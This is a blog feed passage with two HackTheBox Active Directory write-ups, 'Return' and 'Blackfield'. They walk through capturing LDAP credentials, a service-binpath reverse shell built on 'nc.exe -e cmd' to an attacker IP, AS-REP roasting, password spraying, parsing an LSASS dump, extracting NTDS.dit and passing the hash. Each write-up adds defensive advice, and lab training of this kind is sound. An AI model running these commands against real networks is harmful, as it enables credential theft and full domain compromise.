Machine Name: ReturnPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.95.241Objective: Gain initial access and escalate privileges to SYSTEM within an Active Directory ]]></description><link>https://www.hack2harden.com/oscp-prep-16-htb-write-up-return</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-16-htb-write-up-return</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 24 Mar 2026 23:42:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/58c17728-2f30-4eea-9b62-0563b78d50f1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Return<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.95.241<br /><strong>Objective:</strong> Gain initial access and escalate privileges to SYSTEM within an Active Directory environment.</p>
<p>Return is a Windows Active Directory machine that, on the surface, exposes standard enterprise services like LDAP, SMB, and Kerberos. What made this box stand out to me is how realistic it felt—everything revolved around a misconfigured service and poor credential handling rather than some flashy exploit. It forced me to slow down, pay attention to details, and think through how services actually communicate.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>NetExec (nxc)</p>
</li>
<li><p>rpcclient</p>
</li>
<li><p>Kerbrute</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>Burp Suite</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>Evil-WinRM</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Initial Enumeration</h3>
<p>I started with an Nmap scan and immediately saw this was a typical Active Directory environment. LDAP (389), Kerberos (88), SMB (445), and a web server on port 80 were all exposed. The presence of an FQDN (<code>return.local</code>) confirmed domain functionality.</p>
<p>I added the domain to my <code>/etc/hosts</code> file to ensure proper resolution before continuing.</p>
<hr />
<h3>SMB Enumeration</h3>
<p>I attempted anonymous SMB enumeration:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/dd514a5f-111e-43e2-b598-e8c6be6bc342.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Null authentication was allowed</p>
</li>
<li><p>Share enumeration failed with <code>STATUS_ACCESS_DENIED</code></p>
</li>
</ul>
<p>This told me SMB was present but locked down properly—no easy wins here.</p>
<hr />
<h3>RPC Enumeration</h3>
<p>Next, I tried anonymous RPC enumeration:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84e4ce1a-1e11-41fd-9b34-fbccc62b6784.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Attempted <code>enumdomusers</code></p>
</li>
<li><p>Access was denied</p>
</li>
</ul>
<p>Again, nothing exposed anonymously.</p>
<hr />
<h3>LDAP Enumeration</h3>
<p>I attempted LDAP user enumeration:</p>
<ul>
<li><p>LDAP bind failed due to lack of authentication</p>
</li>
<li><p>No anonymous access allowed</p>
</li>
</ul>
<p>At this point, it was clear: <strong>no anonymous enumeration path was going to work on this box.</strong></p>
<hr />
<h3>Web Enumeration</h3>
<p>Since infrastructure enumeration was blocked, I shifted focus to the web server.</p>
<p>Running <code>ffuf</code> revealed several <code>.php</code> endpoints, indicating a dynamic web application.</p>
<p>When I visited the site, I found something interesting—a <strong>printer admin panel</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b64a15df-db0f-44fa-ad29-ce3acaf85b42.png" alt="" style="display:block;margin:0 auto" />

<p>Inside the settings page, I noticed:</p>
<ul>
<li><p>Server Address</p>
</li>
<li><p>Port (389)</p>
</li>
<li><p>Username: <code>svc-printer</code></p>
</li>
<li><p>Password field (masked)</p>
</li>
</ul>
<p>This immediately stood out. Service accounts exposed in web apps are always worth investigating.</p>
<hr />
<h3>Kerberos Enumeration</h3>
<p>I used <code>kerbrute</code> to validate the username:</p>
<ul>
<li><code>svc-printer</code> was confirmed as a valid domain user</li>
</ul>
<p>I attempted AS-REP roasting, but it failed—so no luck there.</p>
<hr />
<h3>Potential Vulnerability Identified</h3>
<p>At this point, the key observation was:</p>
<ul>
<li><p>The web app allows updating a <strong>server address</strong></p>
</li>
<li><p>It references <strong>LDAP (port 389)</strong></p>
</li>
<li><p>It uses a <strong>service account (svc-printer)</strong></p>
</li>
</ul>
<p>This strongly suggested the application might be attempting authentication against whatever server I supply.</p>
<h1>3. Exploitation</h1>
<h3>Initial Foothold</h3>
<p>I intercepted the request to <code>/settings.php</code> using Burp Suite and noticed something important:</p>
<ul>
<li>The POST request only contained a field for the <strong>server IP</strong></li>
</ul>
<p>My initial thought was to replace this with my attacking machine and catch a connection.</p>
<p>I first tried:</p>
<ul>
<li>Netcat listener on port 80 → <strong>no response</strong></li>
</ul>
<p>Then I corrected my mistake:</p>
<ul>
<li>The application explicitly referenced <strong>port 389 (LDAP)</strong></li>
</ul>
<p>So I switched my listener:</p>
<pre><code class="language-plaintext">nc -nvlp 389
</code></pre>
<p>This time, I received a connection from the target.</p>
<h3>Credential Capture</h3>
<p>The application attempted to authenticate to my listener using:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5e0646ae-c563-4e76-bc7b-3ad619cdd76f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Username: <code>svc-printer</code></p>
</li>
<li><p>Password: <strong>plaintext</strong></p>
</li>
</ul>
<p>This was the foothold.</p>
<p><strong>Key takeaway:</strong><br />I was tunnel-visioned on HTTP, but the application logic was using LDAP. The port number was right in front of me the whole time.</p>
<hr />
<h3>User Access</h3>
<p>With credentials in hand, I tested WinRM access:</p>
<ul>
<li><code>svc-printer</code> had WinRM access → successful login via Evil-WinRM</li>
</ul>
<p>I now had a shell as a domain user.</p>
<hr />
<h3>Post-Compromise Validation</h3>
<p>I enumerated the domain:</p>
<ul>
<li>Only one other user: Administrator</li>
</ul>
<p>This hinted that privilege escalation would likely be local rather than domain-based.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Local Enumeration</h3>
<p>I followed my Windows privilege escalation checklist:</p>
<ul>
<li><p>Checked for autologon credentials → none found</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7fb4bd0b-a7d0-4390-8ade-4be3a1437660.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Checked user directories → nothing useful</p>
</li>
</ul>
<hr />
<h3>User Context Review</h3>
<p>Running:</p>
<pre><code class="language-plaintext">whoami /all
</code></pre>
<p>Revealed something critical:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/857ecf77-f827-457c-a44b-311afbf11840.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>User is a member of <strong>Server Operators</strong></li>
</ul>
<p>This is a high-value group.</p>
<hr />
<h3>Privilege Escalation Path</h3>
<p>Members of <strong>Server Operators</strong> can:</p>
<ul>
<li><p>Start/stop services</p>
</li>
<li><p>Modify service configurations</p>
</li>
<li><p>Execute binaries as SYSTEM</p>
</li>
</ul>
<p>This is essentially a direct path to SYSTEM if abused correctly.</p>
<hr />
<h3>Exploitation via Services</h3>
<p>I uploaded <code>nc.exe</code> to the target and modified the <strong>Volume Shadow Copy (VSS)</strong> service:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2603b8df-8cf2-43ca-8848-e8576265ac4b.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">sc.exe config VSS binpath= "C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
sc.exe start VSS
</code></pre>
<p>This triggered a reverse shell.</p>
<hr />
<h3>Shell Stability Issue</h3>
<p>The initial shell was unstable.</p>
<p>Reason:</p>
<ul>
<li><p>Windows expects services to behave in a specific way</p>
</li>
<li><p>If they don’t, they get terminated</p>
</li>
</ul>
<h3>Stable Shell Workaround</h3>
<p>To fix this, I wrapped the payload in <code>cmd.exe</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/66ccd136-fdd8-4719-8de4-6d7e3460d011.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
</code></pre>
<p>This worked because:</p>
<ul>
<li><p>The service starts <code>cmd.exe</code> (valid behavior)</p>
</li>
<li><p><code>cmd.exe</code> spawns netcat as a child process</p>
</li>
<li><p>Even if the service dies, the shell persists</p>
</li>
</ul>
<hr />
<h3>SYSTEM Access</h3>
<p>After triggering the service again, I received a stable shell:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/208a7b33-ceb1-43f3-ada7-7dbabc8bee22.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">nt authority\system
</code></pre>
<p>Full compromise.</p>
<hr />
<h1>5. Lessons Learned</h1>
<h3><strong>1. Avoid Tunnel Vision</strong></h3>
<p>I initially assumed everything would communicate over HTTP. That was wrong.</p>
<p>The application clearly showed port 389, and once I aligned my testing with that, everything worked.</p>
<hr />
<h3>2. Always Trust What the Application Tells You</h3>
<p>The web interface literally gave me:</p>
<p>Protocol (LDAP) Port (389) Username (svc-printer)</p>
<p>That’s not decoration—that’s attack surface.</p>
<hr />
<h3>3. Server Operators = High Value</h3>
<p>This group is extremely powerful.</p>
<p>If you see it, treat it the same way you would:</p>
<p>SeImpersonatePrivilege WriteDACL GenericAll</p>
<p>It’s basically a built-in privesc path.</p>
<hr />
<h3>4. Service Abuse is a Reliable Privesc Vector</h3>
<p>Using sc.exe to modify services is:</p>
<p>Simple Reliable Extremely effective</p>
<p>This is something I’ll actively look for going forward.</p>
<hr />
<h3>5. Shell Stability Matters</h3>
<p>Getting a shell is not enough.</p>
<p>Understanding why it dies and how to stabilize it is what separates a working exploit from a reliable one.</p>
<h1>6. Defensive Insight</h1>
<h3><strong>1. Never Store or Transmit Credentials in Plaintext</strong></h3>
<p>The printer service leaked credentials over LDAP without encryption.</p>
<p>This is a critical failure.</p>
<hr />
<h3><strong>2. Restrict Service Account Permissions</strong></h3>
<p>The <code>svc-printer</code> account had:</p>
<ul>
<li><p>WinRM access</p>
</li>
<li><p>Membership in Server Operators</p>
</li>
</ul>
<p>That’s excessive privilege for a service account.</p>
<hr />
<h3><strong>3. Secure Service Configuration Permissions</strong></h3>
<p>Allowing non-admin users to modify services is dangerous.</p>
<p>This is a direct escalation path.</p>
<hr />
<h3><strong>4. Enforce LDAP Signing and Encryption</strong></h3>
<p>LDAP without signing allows credential interception.</p>
<p>This should always be enforced in production environments.</p>
<h1>7. Useful Commands</h1>
<h3>Enumeration</h3>
<pre><code class="language-plaintext">nxc smb &lt;target&gt; -u '' -p '' --shares
rpcclient -U "" -N &lt;target&gt;
nxc ldap &lt;target&gt; --users
kerbrute userenum -d return.local users.txt
</code></pre>
<h3>Exploitation</h3>
<pre><code class="language-plaintext">nc -nvlp 389
</code></pre>
<h3>Privilege Escalation</h3>
<pre><code class="language-plaintext">whoami /all
sc.exe config &lt;service&gt; binpath= "&lt;payload&gt;"
sc.exe start &lt;service&gt;
</code></pre>
<h3>Active Directory</h3>
<pre><code class="language-plaintext">evil-winrm -i &lt;target&gt; -u svc-printer -p &lt;password&gt;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #15
HTB Write-Up Blackfield]]></title><description><![CDATA[1. Target Overview
Machine Name: BlackfieldPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.229.17Objective: Gain Domain Administrator access
Blackfield is definitely one of the best AD ]]></description><link>https://www.hack2harden.com/oscp-prep-15-htb-write-up-blackfield</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-15-htb-write-up-blackfield</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 24 Mar 2026 23:37:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/87b33156-0aa1-48e7-8aeb-e11ab3588ec0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Blackfield<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.229.17<br /><strong>Objective:</strong> Gain Domain Administrator access</p>
<p>Blackfield is definitely one of the best AD machines I’ve done so far. It’s all about chaining realistic misconfigurations together. Every step builds on the last.</p>
<h2>Tools Used</h2>
<ul>
<li><p>Nmap</p>
</li>
<li><p>NetExec (NXC)</p>
</li>
<li><p>Kerbrute</p>
</li>
<li><p>Impacket</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>RustHound-CE</p>
</li>
<li><p>BloodHound</p>
</li>
<li><p>pypykatz</p>
</li>
<li><p>Evil-WinRM</p>
</li>
<li><p>DiskShadow</p>
</li>
<li><p>Robocopy</p>
</li>
</ul>
<h1>2. Enumeration</h1>
<p>I kicked things off with an Nmap scan and immediately saw what I expected from a domain controller—LDAP, Kerberos, SMB, RPC, DNS. Nothing unusual, but everything I needed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ac3bf583-f5ec-4124-bd2f-6faf376e56f8.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3e24f5bd-0b58-4ebe-af61-8a260901f90b.png" alt="" style="display:block;margin:0 auto" />

<p>The scan also leaked the domain:</p>
<p><strong>BLACKFIELD.local</strong></p>
<p>First move—add that to <code>/etc/hosts</code>. Always.</p>
<h3>Anonymous SMB Access</h3>
<p>Next step was checking SMB:</p>
<p>I tested guest access and got in. That alone is already a foothold from an enumeration standpoint.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d480d7d9-bad9-4c66-9990-8fdacef18416.png" alt="" style="display:block;margin:0 auto" />

<p>I was able to:</p>
<ul>
<li><p>List shares</p>
</li>
<li><p>Read from at least one share (<code>profiles$</code>)</p>
</li>
</ul>
<h3>RID Brute</h3>
<p>I tried normal user enumeration first (<code>--users</code>)—nothing.</p>
<p>So I pivoted to:</p>
<p><code>--rid-brute</code></p>
<p>This worked immediately.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6ca5b63-6bcd-40a2-b573-1b0052d53be7.png" alt="" style="display:block;margin:0 auto" />

<p>Here’s the difference in plain terms:</p>
<ul>
<li><p><code>--users</code> = asks nicely (requires permissions)</p>
</li>
<li><p><code>--rid-brute</code> = doesn’t care, brute-forces user IDs through RPC</p>
</li>
</ul>
<p>Windows assigns every user a RID. If you know the domain SID, you can just iterate RIDs and ask:<br />“Hey, does this exist?”</p>
<p>That’s exactly what this module does—and it works as long as anonymous access is allowed even when proper enumeration is blocked.</p>
<p>This gave me:</p>
<ul>
<li><p>Domain users</p>
</li>
<li><p>Groups</p>
</li>
<li><p>Service accounts</p>
</li>
</ul>
<p>At that point, I had a clean user list to work with.</p>
<h3>Username Validation</h3>
<p>Before doing anything else, I validated the users with Kerbrute.</p>
<p>Because:</p>
<ul>
<li><p>Kerberos will tell you if a username is real</p>
</li>
<li><p>No password required</p>
</li>
</ul>
<p>Now I knew I had <strong>valid domain accounts</strong>, not just guesses.</p>
<h1>3. Exploitation</h1>
<h3>AS-REP Roasting</h3>
<p>Whenever I have valid users and no passwords, I always try AS-REP roasting. Here’s what’s happening under the hood:</p>
<p>Normally, Kerberos requires pre-authentication—basically proof you know the password.</p>
<p>But if a user has:<br /><code>UF_DONT_REQUIRE_PREAUTH</code></p>
<p>the domain will hand you an encrypted response <strong>without verifying who you are</strong>.</p>
<p>That’s a mistake. And it’s a big one.</p>
<p>I ran the attack with impackets GetNPUsers and got a hash back for one of the users.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8fee87e2-6dc1-488d-abcf-b6f9d6dcd4b6.png" alt="" style="display:block;margin:0 auto" />

<p>Next I cracked it with John → got credentials for:</p>
<p><strong>support</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/778db889-dccd-4ec7-bcdc-e28328a7f43a.png" alt="" style="display:block;margin:0 auto" />

<p>That’s my first real foothold.</p>
<h3>Standard Post-Cred Checks</h3>
<p>Once I had credentials, I followed the same routine I always do:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3f7d208a-8442-4f1a-8b26-b733bd1ee8d8.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li><p><strong>Password spraying</strong> → no reuse</p>
</li>
<li><p><strong>Kerberoasting</strong> → nothing</p>
</li>
<li><p><strong>SMB access</strong> → same as guest</p>
</li>
<li><p><strong>WinRM</strong> → no access</p>
</li>
</ol>
<p>So at this point with nothing obvious it was time to move on to bloodhound for further enumeration of potential attack vectors.</p>
<h3>BloodHound (External Enumeration)</h3>
<p>I ran BloodHound using RustHound (since NXC’s collector wasn’t behaving—likely LDAPS issues).</p>
<p>This was a good reminder:<br /><strong>don’t marry one tool.</strong></p>
<h3>ForceChangePassword Abuse</h3>
<p>BloodHound showed something very interesting:</p>
<p>The <code>support</code> user had <strong>ForceChangePassword</strong> over:</p>
<p><strong>audit2020</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9b5e53cd-f93d-46d0-8f82-32eb6cd8de9f.png" alt="" style="display:block;margin:0 auto" />

<p>That’s game over for that user.</p>
<p>If you can change someone’s password, you <em>are</em> that user.</p>
<p>I used bloodyAD to reset it and immediately logged in as <code>audit2020</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1b005aa-b82f-42fd-9824-c0fa8df7333b.png" alt="" style="display:block;margin:0 auto" />

<h3>Forensic Share</h3>
<p>The audit2020 user had access to a new share:</p>
<p><strong>forensic</strong></p>
<p>I spidered it and hit:</p>
<p><a href="http://lsass.zip"><strong>lsass.zip</strong></a></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b233e28a-f2a5-41db-8d0c-122a8d27489a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84092962-e078-4911-ab9c-fc2f07f60d6b.png" alt="" style="display:block;margin:0 auto" />

<h3>LSASS Dump (Huge Learning Point)</h3>
<p>Quick breakdown:</p>
<p>LSASS = Windows process that handles authentication</p>
<p>It stores:</p>
<ul>
<li><p>NTLM hashes</p>
</li>
<li><p>Kerberos tickets</p>
</li>
<li><p>Credentials in memory</p>
</li>
</ul>
<p>So if you get a dump of LSASS, you’re basically looking at <strong>live credential material</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/502212c5-c5ee-4996-8b6d-06b097c9442e.png" alt="" style="display:block;margin:0 auto" />

<p>I downloaded it with smbclient, extracted it, and ran:</p>
<p><code>pypykatz</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8056ba96-394f-4800-984e-79b3e4e74790.png" alt="" style="display:block;margin:0 auto" />

<p>This tool parses memory dumps and pulls out usable creds.</p>
<p>Most of the hashes were dead, but one worked:</p>
<p><strong>svc_backup</strong></p>
<h3>Lateral Movement</h3>
<p>I tested the hash and it was valid. Next I Checked WinRM and saw the user had remote access privileges.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7480261b-68d1-4ab3-9e5d-1096f6544a6b.png" alt="" style="display:block;margin:0 auto" />

<p>That’s immediate shell access. I checked the svc_backup users bloodhound abilities but there was nothing of note. Next i used evil-winrm to log in and see if there were anymore local priv esc vectors.</p>
<h1>4. Privilege Escalation</h1>
<h3>SeBackupPrivilege</h3>
<p>First thing I did in my winrm session as the svc_backup user was</p>
<p><code>whoami /all</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f8469c30-24a7-4258-a86e-9bac9b8c2405.png" alt="" style="display:block;margin:0 auto" />

<p>and saw a goldmine privilege:</p>
<p><strong>SeBackupPrivilege</strong></p>
<p>This is one of those privileges you need to recognize instantly.</p>
<h3>Why This Matters</h3>
<p>This privilege lets you:</p>
<ul>
<li><p>Read ANY file on the system</p>
</li>
<li><p>Ignore file permissions completely</p>
</li>
</ul>
<p>That includes:</p>
<ul>
<li><p><code>NTDS.dit</code></p>
</li>
<li><p>Registry hives</p>
</li>
</ul>
<h3>What is NTDS.dit?</h3>
<p>This is the Active Directory database.</p>
<p>It contains:</p>
<ul>
<li><p>Every domain user</p>
</li>
<li><p>Every password hash</p>
</li>
<li><p>Everything that matters</p>
</li>
</ul>
<p>But it’s encrypted.</p>
<p>To decrypt it, you also need:</p>
<ul>
<li>SYSTEM hive (contains boot key)</li>
</ul>
<h2>The Attack</h2>
<h3>What You’re Actually Trying to Do</h3>
<p>At this stage, you already know:</p>
<ul>
<li><p>You have <strong>SeBackupPrivilege</strong></p>
</li>
<li><p>You want <strong>NTDS.dit + SYSTEM</strong></p>
</li>
<li><p>Goal = <strong>dump all domain hashes</strong></p>
</li>
</ul>
<p>But there’s a problem:</p>
<p>You <strong>cannot directly copy NTDS.dit</strong> while the system is running</p>
<p>Why?</p>
<ul>
<li><p>It’s locked by Active Directory (ntds service)</p>
</li>
<li><p>Windows prevents direct access to in-use system files</p>
</li>
</ul>
<p>So the real problem becomes:</p>
<blockquote>
<p>“How do I get a readable copy of a locked file?”</p>
</blockquote>
<hr />
<h3>The Solution: Volume Shadow Copy (VSS)</h3>
<p>This is where <strong>DiskShadow</strong> comes in.</p>
<p>DiskShadow is a built-in Windows tool that interacts with:</p>
<p><strong>Volume Shadow Copy Service (VSS)</strong></p>
<hr />
<h3>What VSS Actually Does</h3>
<p>VSS creates a <strong>snapshot of the filesystem at a point in time</strong></p>
<p>Think of it like:</p>
<blockquote>
<p>“Freeze the disk → clone it → let me read the clone”</p>
</blockquote>
<p>So instead of touching the <em>live</em> NTDS.dit file, you:</p>
<ul>
<li><p>Create a snapshot</p>
</li>
<li><p>Access the snapshot</p>
</li>
<li><p>Copy the file from there</p>
</li>
</ul>
<p>Now it’s no longer locked.</p>
<hr />
<h3>Why SeBackupPrivilege Makes This Work</h3>
<p>Normally, even with a shadow copy:</p>
<ul>
<li>You’d still be blocked by permissions</li>
</ul>
<p>But <strong>SeBackupPrivilege overrides file permissions</strong></p>
<p>It basically says:</p>
<blockquote>
<p>“I don’t care who owns this file—I can read it anyway”</p>
</blockquote>
<p>That’s the key.</p>
<p>Without this privilege → attack fails<br />With it → full access to sensitive files</p>
<h2>The Attack Flow</h2>
<h3>Step 1 — Create a DiskShadow Script</h3>
<p>You don’t run DiskShadow manually—you feed it a script.</p>
<p>Example:</p>
<pre><code class="language-plaintext">set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
add volume C: alias shadowcopy
create
expose %shadowcopy% E:
</code></pre>
<hr />
<h3>What Each Line Means (This is the important part)</h3>
<ul>
<li><p><code>set context persistent nowriters</code>  </p>
<p>→ Creates a stable snapshot without involving writers (avoids interference)  </p>
</li>
<li><p><code>add volume C:</code>  </p>
<p>→ Targeting the main system drive  </p>
</li>
<li><p><code>create</code>  </p>
<p>→ Actually generates the shadow copy  </p>
</li>
<li><p><code>expose %shadowcopy% E:</code>  </p>
<p>→ Mounts the snapshot as a new drive (<code>E:</code>)</p>
</li>
</ul>
<h3>Step 2 — Run DiskShadow</h3>
<pre><code class="language-plaintext">diskshadow /s script.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/28c364e0-0c08-4fc5-984b-a2a4bc3571ee.png" alt="" style="display:block;margin:0 auto" />

<p>After this runs:</p>
<p>👉 You now have a new drive (E:)  </p>
<p>👉 That drive is a snapshot of the system</p>
<hr />
<h3>Step 3 — Copy the Files (Critical Step)</h3>
<p>Now you copy from the snapshot, NOT the live system.</p>
<pre><code class="language-plaintext">robocopy /b E:\Windows\NTDS C:\ProgramData\ ntds.dit
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/957c68c2-1d74-42f5-af7f-447e321c0d5a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>/b</code> = backup mode (uses SeBackupPrivilege)</li>
</ul>
<p>Then:</p>
<pre><code class="language-plaintext">reg save HKLM\SYSTEM C:\ProgramData\SYSTEM
</code></pre>
<hr />
<h2>Why These Two Files Matter Together</h2>
<p>You need both:</p>
<ol>
<li><p>NTDS.dit Contains encrypted domain credentials</p>
</li>
<li><p>SYSTEM hive Contains the boot key used to decrypt NTDS.dit</p>
</li>
</ol>
<p><strong>Simple Way to Think About It</strong></p>
<ul>
<li><p>NTDS.dit = locked safe</p>
</li>
<li><p>SYSTEM = key to open the safe</p>
</li>
</ul>
<p>You need both or you get nothing.</p>
<hr />
<h2>Step 4 — Exfiltrate + Dump</h2>
<p>Once you move both files to Kali:</p>
<pre><code class="language-plaintext">impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c92ad6d0-dca7-40cd-8432-0404b1c9b344.png" alt="" style="display:block;margin:0 auto" />

<p>Now you get:</p>
<ul>
<li><p>  All domain users  </p>
</li>
<li><p>  NTLM hashes  </p>
</li>
<li><p>  Including Administrator</p>
</li>
</ul>
<h3>Final Step — Domain Takeover</h3>
<p>You don’t even need passwords anymore.</p>
<p>Just pass the hash with psexec or wmiexec.</p>
<pre><code class="language-plaintext">impacket-wmiexec administrator@&lt;ip&gt; -hashes &lt;hash&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6472ebfb-64d6-436e-b25a-b41fd01bd6af.png" alt="" style="display:block;margin:0 auto" />

<h1>5. Lessons Learned</h1>
<p><strong>1. RID Brute is a fallback you should always remember</strong><br />When normal enumeration fails, this still works more often than not.</p>
<p><strong>2. AS-REP roasting is mandatory to check</strong><br />It’s low effort, high reward. No reason to skip it.</p>
<p><strong>3. LSASS dumps are extremely valuable</strong><br />This was a big one for me—understanding how to extract creds from memory opens a lot of doors.</p>
<p><strong>4. BloodHound isn’t optional in AD</strong><br />You’re not guessing paths—you’re identifying them.</p>
<p><strong>5. SeBackupPrivilege is dangerous</strong><br />This alone can lead to full domain compromise. If you see it, you should already be thinking NTDS.</p>
<h1>6. Defensive Insight</h1>
<p><strong>1. Disable accounts without pre-authentication</strong><br />AS-REP roasting should not be possible in a secure environment.</p>
<p><strong>2. Remove unnecessary ACLs (like ForceChangePassword)</strong><br />This is how attackers pivot laterally without exploits.</p>
<p><strong>3. Lock down sensitive shares</strong><br />There is no reason an LSASS dump should be accessible over SMB.</p>
<p><strong>4. Monitor privileged accounts</strong><br />Accounts with SeBackupPrivilege should be heavily restricted and audited.</p>
<p><strong>5. Restrict anonymous access</strong><br />Even limited SMB access can expose the entire domain structure.</p>
<h1>7. Useful Commands</h1>
<h3>Nmap Scan</h3>
<pre><code class="language-plaintext">nmap -sC -sV 10.129.229.17
</code></pre>
<h3>Enumerate SMB Shares Anonymously</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u guest -p '' --shares
</code></pre>
<h3>Enumerate Users with RID Brute</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u guest -p '' --rid-brute
</code></pre>
<h3>Validate Usernames with Kerbrute</h3>
<pre><code class="language-plaintext">kerbrute userenum --dc 10.129.229.17 -d blackfield.local users.txt
</code></pre>
<h3>AS-REP Roast Valid Users</h3>
<pre><code class="language-plaintext">impacket-GetNPUsers blackfield.local/ -dc-ip 10.129.229.17 -usersfile users.txt -no-pass
</code></pre>
<h3>Crack the AS-REP Hash with John</h3>
<pre><code class="language-plaintext">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3>NXC - Check SMB Access</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u support -p '&lt;password&gt;' --shares
</code></pre>
<h3>NXC - Spray the Discovered Password Against Other Users</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u users.txt -p '&lt;password&gt;' --continue-on-success
</code></pre>
<h3>impacket - Attempt Kerberoasting</h3>
<pre><code class="language-plaintext">impacket-GetUserSPNs blackfield.local/support:'&lt;password&gt;' -dc-ip 10.129.229.17 -request
</code></pre>
<h3>Collect BloodHound Data with RustHound</h3>
<pre><code class="language-plaintext">rusthound-ce -d blackfield.local -u support -p '&lt;password&gt;' -c All -o blackfield.zip
</code></pre>
<h3>BloodyAD Change Password</h3>
<pre><code class="language-plaintext">bloodyAD -d blackfield.local -u support -p '&lt;password&gt;' set password audit2020 '&lt;NEW_PASSWORD&gt;'
</code></pre>
<h3>NXC - Spider Shares</h3>
<pre><code class="language-plaintext">nxc smb 10.129.229.17 -u audit2020 -p '&lt;NEW_PASSWORD&gt;' -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC\(,print\),C\(,ADMIN\)'
</code></pre>
<h3>pypykatz- Extract Credentials from the LSASS Dump</h3>
<pre><code class="language-plaintext">pypykatz lsa minidump lsass.DMP
</code></pre>
<h3>Execute DiskShadow</h3>
<pre><code class="language-plaintext">diskshadow /s C:\Windows\Temp\diskshadow.txt
</code></pre>
<h3>Copy <code>ntds.dit</code> from the Shadow Copy</h3>
<pre><code class="language-plaintext">robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit
</code></pre>
<h3>Save the SYSTEM Hive</h3>
<pre><code class="language-plaintext">reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
</code></pre>
